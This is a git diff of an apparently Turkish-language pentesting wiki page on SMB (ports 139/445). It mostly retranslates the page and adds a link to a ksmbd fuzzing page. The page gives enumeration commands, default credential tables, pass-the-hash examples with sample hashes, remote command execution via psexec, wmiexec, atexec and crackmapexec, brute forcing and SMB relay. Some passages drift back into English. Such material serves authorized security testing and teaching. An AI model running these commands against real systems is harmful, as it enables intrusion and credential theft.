diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 793c88a81..b18b11ccd 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -494,6 +494,7 @@ - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) + - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md) - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 7ca0516aa..d73eeaf01 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,43 +4,44 @@ ## **Port 139** -_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır. +_**Ağ Temel Giriş/Çıkış Sistemi**_** (NetBIOS), yerel alan ağı (LAN) içindeki uygulamaların, PC'lerin ve masaüstlerinin ağ donanımıyla etkileşim kurmasını ve **ağ üzerinden veri iletimini kolaylaştırmasını** sağlayan bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar olabilen ve genellikle bilgisayar adından farklı olan NetBIOS isimleri aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulamanın (istemci rolünde) başka bir uygulamayı (sunucu rolünde) "çağırmak" için bir komut gönderdiği ve **TCP Port 139** kullandığı durumda başlatılır. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır. +Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, ‘**Server Message Blocks**’ anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Bir uygulama katmanı ağ protokolü olarak, SMB/CIFS öncelikle dosyalar, yazıcılar, seri portlar için paylaşılan erişimi sağlamak ve ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır. -Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimi ortadan kaldırdığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir. +Örneğin, Windows bağlamında, SMB'nin port 445 kullanılarak TCP/IP üzerinde doğrudan çalışabildiği; bunun NetBIOS over TCP/IP'ye olan gereksinimi ortadan kaldırdığı vurgulanır. Buna karşılık, farklı sistemlerde port 139 kullanımı görülür; bu da SMB'nin NetBIOS over TCP/IP ile birlikte çalıştırıldığını gösterir. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümleri çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır. +The **Server Message Block (SMB)** protocolü, **client-server** modeliyle çalışan, **dosyalara erişim**, dizinler ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına erişimi düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisinde kullanılan SMB, geriye dönük uyumluluğu sağlar; böylece Microsoft'un daha yeni sürümlerini çalıştıran cihazların daha eski sürümleri çalıştıranlarla sorunsuz etkileşim kurmasına olanak tanır. Ayrıca **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak SMB aracılığıyla platformlar arası iletişimi kolaylaştırır. -Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **ince ayar kontrolü** sağlar; bu, **`çalıştır`**, **`oku`** ve **`tam erişim`** gibi nitelikleri içerir. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucudaki yerel izinlerden farklıdır. +Shares, yerel dosya sisteminin **herhangi bölümlerini** temsil ederek, bir SMB sunucusu tarafından sağlanabilir; bu, hiyerarşinin istemciye sunulmasını sunucunun gerçek yapısından kısmen **bağımsız** hale getirir. Access Control Lists (ACLs), erişim haklarını tanımlayan, kullanıcı izinleri üzerinde `execute`, `read` ve `full access` gibi öznitelikleri de içerecek şekilde ince ayrıntılı kontrol sağlar. Bu izinler paylaşıma bağlı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanmış yerel izinlerden farklıdır. ### IPC$ Share -IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar: +IPC$ share erişimi anonymous null session aracılığıyla elde edilebilir; bu, named pipes ile açığa çıkan servislerle etkileşime izin verir. `enum4linux` aracı bu amaç için kullanışlıdır. Doğru kullanıldığında şunların elde edilmesini sağlar: -- İşletim sistemi hakkında bilgi -- Ana alan hakkında ayrıntılar -- Yerel kullanıcılar ve grupların derlemesi -- Mevcut SMB paylaşımları hakkında bilgi +- İşletim sistemi hakkında bilgiler +- Üst domain hakkında detaylar +- Yerel kullanıcılar ve grupların listesi +- Mevcut SMB paylaşımları hakkında bilgiler - Etkili sistem güvenlik politikası -Bu işlevsellik, ağ yöneticileri ve güvenlik profesyonellerinin bir ağ üzerindeki SMB (Server Message Block) hizmetlerinin güvenlik durumunu değerlendirmesi için kritik öneme sahiptir. `enum4linux`, hedef sistemin SMB ortamının kapsamlı bir görünümünü sunarak, potansiyel zayıflıkları tanımlamak ve SMB hizmetlerinin düzgün bir şekilde güvence altına alındığından emin olmak için gereklidir. +Bu işlevsellik, ağ yöneticileri ve güvenlik profesyonelleri için bir ağ üzerindeki SMB (Server Message Block) servislerinin güvenlik duruşunu değerlendirmek açısından kritiktir. `enum4linux`, hedef sistemin SMB ortamına kapsamlı bir görünüm sağlar; bu, potansiyel zayıf noktaların tespit edilmesi ve SMB servislerinin uygun şekilde güvence altına alındığından emin olunması için gereklidir. ```bash enum4linux -a target_ip ``` -Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için `enum4linux`'un nasıl kullanılabileceğine dair bir örnektir. +Yukarıdaki komut, `enum4linux`'un `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için nasıl kullanılabileceğine dair bir örnektir. ## NTLM Nedir -Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:** +NTLM'in ne olduğunu bilmiyorsanız ya da nasıl çalıştığını ve nasıl suiistimal edilebileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfa sizin için çok ilginç olacaktır; burada **bu protokolün nasıl çalıştığı ve nasıl suiistimal edilebileceği** açıklanmaktadır: + {{#ref}} ../../windows-hardening/ntlm/ @@ -48,16 +49,16 @@ Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nas ## **Sunucu Enumeration** -### **Ağ** taraması yaparak hostları arama: +### **Scan** bir network'te hosts aramak: ```bash nbtscan -r 192.168.0.1/24 ``` -### SMB sunucu versiyonu +### SMB sunucu sürümü -SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz: +SMB sürümüne yönelik olası exploitleri aramak için hangi sürümün kullanıldığını bilmek önemlidir. Eğer bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz: -- **MSF** yardımcı modülünü kullanın `**auxiliary/scanner/smb/smb_version**` -- Ya da bu scripti: +- **MSF** yardımcı modülünü `**auxiliary/scanner/smb/smb_version**` kullanın +- Veya bu script: ```bash #!/bin/sh #Author: rewardone @@ -74,26 +75,26 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **Arama açığı** +### **Ara exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **Olası** Kimlik Bilgileri -| **Kullanıcı Adı(ları)** | **Yaygın Şifreler** | -| ------------------------ | ----------------------------------------- | -| _(boş)_ | _(boş)_ | -| misafir | _(boş)_ | -| Yönetici, admin | _(boş)_, şifre, yönetici, admin | -| arcserve | arcserve, yedek | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, yedek | backupexec, yedek, arcada | -| test, lab, demo | şifre, test, lab, demo | +| **Kullanıcı(lar)** | **Yaygın parolalar** | +| -------------------- | ----------------------------------------- | +| _(boş)_ | _(boş)_ | +| guest | _(boş)_ | +| Administrator, admin | _(boş)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | -### Kaba Kuvvet +### Brute Force -- [**SMB Kaba Kuvvet**](../../generic-hacking/brute-force.md#smb) +- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) ### SMB Ortam Bilgisi @@ -119,9 +120,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Kullanıcıları, Grupları ve Giriş Yapmış Kullanıcıları Listele +### Kullanıcıları, Grupları ve Oturum Açmış Kullanıcıları Listeleme -Bu bilgi zaten enum4linux ve enum4linux-ng'den toplanmış olmalıdır. +Bu bilgiler zaten enum4linux ve enum4linux-ng tarafından toplanmış olmalıdır. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -139,38 +140,38 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Tek satır +Tek satırlık komut ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` -### Metasploit - Yerel kullanıcıları listele +### Metasploit - Yerel kullanıcıları listeleme ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **LSARPC ve SAMR rpcclient'ı Listeleme** +### **LSARPC ve SAMR rpcclient Enumerasyonu** {{#ref}} rpcclient-enumeration.md {{#endref}} -### Linux'tan GUI bağlantısı +### GUI bağlantısı (Linux'ten) #### Terminalde: `xdg-open smb://cascade.htb/` -#### Dosya tarayıcı penceresinde (nautilus, thunar, vb.) +#### Dosya gezgini penceresinde (nautilus, thunar, vb.) `smb://friendzone.htb/general/` -## Paylaşılan Klasörleri Listeleme +## Paylaşılan Klasörlerin Enumerasyonu -### Paylaşılan klasörleri listele +### Paylaşılan Klasörleri Listeleme -Her zaman erişim sağlayıp sağlayamayacağınıza bakmanız önerilir, eğer kimlik bilgilerine sahip değilseniz **null** **kimlik bilgileri/konuk kullanıcı** kullanmayı deneyin. +Her zaman erişebileceğiniz bir şey olup olmadığına bakmanız önerilir; kimlik bilgileriniz yoksa **null** **credentials/guest user** kullanmayı deneyin. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -184,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Bağlan/Paylaşılan bir klasörü listele** +### **Paylaşılan klasöre bağlan/listele** ```bash #Connect using smbclient smbclient --no-pass /// @@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Manuel olarak Windows paylaşımlarını listeleyin ve onlara bağlanın** +### **Windows paylaşımlarını elle listeleyin ve bağlanın** -Ana makinenin herhangi bir paylaşımını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir. +Ev sahibi makinenin paylaşımlarını görüntülemeniz kısıtlanmış olabilir ve onları listelemeye çalıştığınızda bağlanılacak herhangi bir paylaşım yokmuş gibi görünebilir. Bu nedenle, bir paylaşıma elle bağlanmayı kısa bir deneme olarak yapmak faydalı olabilir. Paylaşımları elle listelemek için, geçerli bir oturum kullanırken (örn. null session veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bunlar, paylaşımın var olduğunu ancak erişiminizin olmadığını veya paylaşımın hiç var olmadığını gösterebilir. -Windows hedefleri için yaygın paylaşım adları şunlardır: +Windows hedefleri için yaygın paylaşım adları şunlardır - C$ - D$ @@ -211,14 +212,14 @@ Windows hedefleri için yaygın paylaşım adları şunlardır: - SYSVOL - NETLOGON -(_**Network Security Assessment 3rd edition**_ kitabından alınan yaygın paylaşım adları) +(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_ kaynağından) -Aşağıdaki komutu kullanarak onlara bağlanmayı deneyebilirsiniz. +Aşağıdaki komutu kullanarak bunlara bağlanmayı deneyebilirsiniz: ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -bu script için (null oturumu kullanarak) +veya bu script (null session kullanarak) ```bash #/bin/bash @@ -240,7 +241,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows'tan payları listele / üçüncü taraf araçlar olmadan** +### **Windows'tan paylaşımları listeleme / üçüncü taraf araçlar olmadan** PowerShell ```bash @@ -259,23 +260,23 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Ekleme (grafik) +MMC Snap-in (grafiksel) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (grafik), mevcut gizli olmayan paylaşımları görmek için `\\\` yazın. +explorer.exe (grafiksel), `\\\` yazarak mevcut gizli olmayan paylaşımları görün. -### Paylaşılan bir klasörü bağlayın +### Paylaşılan bir klasörü bağlama ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` -### **Dosyaları İndir** +### **Dosyaları indir** -Kimlik bilgileri/Pass-the-Hash ile nasıl bağlanacağınızı öğrenmek için önceki bölümleri okuyun. +credentials/Pass-the-Hash ile nasıl bağlanılacağını öğrenmek için önceki bölümleri okuyun. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -292,34 +293,34 @@ smbclient /// ``` Komutlar: -- mask: dizin içindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örneğin, "" tüm dosyalar için) -- recurse: yinelemeyi açar (varsayılan: kapalı) +- mask: dizin içindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örn. "" tüm dosyalar için) +- recurse: özyinelemeyi açıp kapatır (varsayılan: kapalı) - prompt: dosya adları için istemi kapatır (varsayılan: açık) -- mget: maskeye uyan tüm dosyaları ana bilgisayardan istemci makinesine kopyalar +- mget: maskeye uyan tüm dosyaları sunucudan istemci makinesine kopyalar -(_smbclient'in man sayfasından bilgi_) +(_smbclient man sayfasından bilgi_) -### Alan Paylaşılan Klasörler Arama +### Domain Paylaşılan Klasörleri Arama - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) örümcek. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Paylaşımlardan özellikle ilginç olanlar, **`Registry.xml`** olarak adlandırılan dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ayrıca **`web.config`** dosyaları da kimlik bilgilerini içerir. +Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. > [!TIP] -> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **scripti** **bulabilirsiniz**.\ -> İçindeki **scriptleri** **kontrol etmelisiniz** çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**. +> Domain içindeki tüm kimlik doğrulanmış kullanıcılar için **SYSVOL share** **okunabilir**. Orada birçok farklı batch, VBScript ve PowerShell **scripts** **bulabilirsiniz**.\ +> İçindeki **scripts**i **kontrol etmelisiniz**, çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**. ## Kayıt Defterini Oku -Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini okumayı** başarabilirsiniz. Impacket **`reg.py`** denemenize olanak tanır: +Keşfettiğiniz bazı kimlik bilgilerini kullanarak **kayıt defterini okuyabilirsiniz**. Impacket **`reg.py`** allows you to try: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -327,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalara** sahip olabilir: +Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalar** içerebilir: -| **Ayar** | **Açıklama** | -| --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? | -| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? | -| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? | -| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? | -| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? | -| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? | -| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? | -| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? | -| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? | -| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? | +| **Ayar** | **Açıklama** | +| --------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | Geçerli paylaşımda kullanılabilir paylaşımları listelemeye izin veriyor mu? | +| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini engeller mi? | +| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin veriyor mu? | +| `guest ok = yes` | Parola kullanmadan servise bağlanmaya izin veriyor mu? | +| `enable privileges = yes` | Belirli bir SID'e atanan ayrıcalıkları uygular mı? | +| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinler atanmalı? | +| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinler atanmalı? | +| `logon script = script.sh` | Kullanıcının girişinde hangi betik çalıştırılmalı? | +| `magic script = script.sh` | Betik kapandığında hangi betik çalıştırılmalı? | +| `magic output = script.out` | Magic script'in çıktısı nerede saklanmalı? | -`Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir. +The command `smbstatus` gives information about the **server** and about **who is connected**. -## Authenticate using Kerberos +## Kerberos kullanarak kimlik doğrulama -**Kerberos** ile **kimlik doğrulaması** yapmak için **smbclient** ve **rpcclient** araçlarını kullanabilirsiniz: +Araçlar **smbclient** ve **rpcclient** kullanarak **kerberos**'a **kimlik doğrulayabilirsiniz**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec** kullanarak komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz: +crackmapexec, **abusing** yoluyla **mmcexec, smbexec, atexec, wmiexec**'in herhangi birini kullanarak komut çalıştırabilir; **wmiexec** **default** yöntemdir. Hangi seçeneği kullanmayı tercih ettiğinizi `--exec-method` parametresi ile belirtebilirsiniz: ```bash apt-get install crackmapexec @@ -379,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB aracılığıyla _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir çalıştırılabilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**file-less technique-**-).\ -**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ -**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır. +Her iki seçenek de hedef makinede (_\pipe\svcctl_ üzerinden SMB kullanarak) **yeni bir servis oluşturacak** ve bunu **bir şeyi çalıştırmak** için kullanacaktır (**psexec** ADMIN$ paylaşımına yürütülebilir bir dosya **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'i işaret edip argümanlara payload'u koyacaktır --**file-less technique-**-).\ +**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +**kali**'de /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -389,19 +390,19 @@ Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**parametre**`-k` kullanarak **kerberos** ile **NTLM** yerine kimlik doğrulaması yapabilirsiniz. +**parametre**`-k` kullanarak **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Diskle temas etmeden veya yeni bir hizmet çalıştırmadan **port 135** üzerinden DCOM kullanarak gizlice bir komut kabuğu çalıştırın.\ -**kali**'de /usr/share/doc/python3-impacket/examples/ konumundadır. +DCOM üzerinden **port 135** kullanarak diske dokunmadan veya yeni bir servis başlatmadan gizlice bir komut kabuğu çalıştırın.\ +**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunur. ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -**parametre**`-k` kullanarak **kerberos** ile **NTLM** yerine kimlik doğrulaması yapabilirsiniz. +**parametre**`-k` kullanarak **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -410,8 +411,8 @@ Diskle temas etmeden veya yeni bir hizmet çalıştırmadan **port 135** üzerin ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\ -**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır. +Komutları Görev Zamanlayıcı aracılığıyla çalıştır (SMB üzerinden _\pipe\atsvc_ kullanarak).\ +**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur. ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -420,40 +421,46 @@ Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Kaba kuvvetle kullanıcı kimlik bilgileri** +### ksmbd saldırı yüzeyi ve SMB2/SMB3 protokol fuzzing (syzkaller) -**Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz** +{{#ref}} +ksmbd-attack-surface-and-fuzzing-syzkaller.md +{{#endref}} + +## **Bruteforce kullanıcı kimlik bilgileri** + +**Bu önerilmez; izin verilen maksimum deneme sayısını aşarsanız bir hesabı kilitleyebilirsiniz** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** için Responder aracını kullanır ve bunları bir **hedef makineye** **iletir**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak bir **sistem** **kabuk** ortamına geçecektir.\ -[**Bu saldırı hakkında daha fazla bilgi burada.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\ +[**More information about this attack 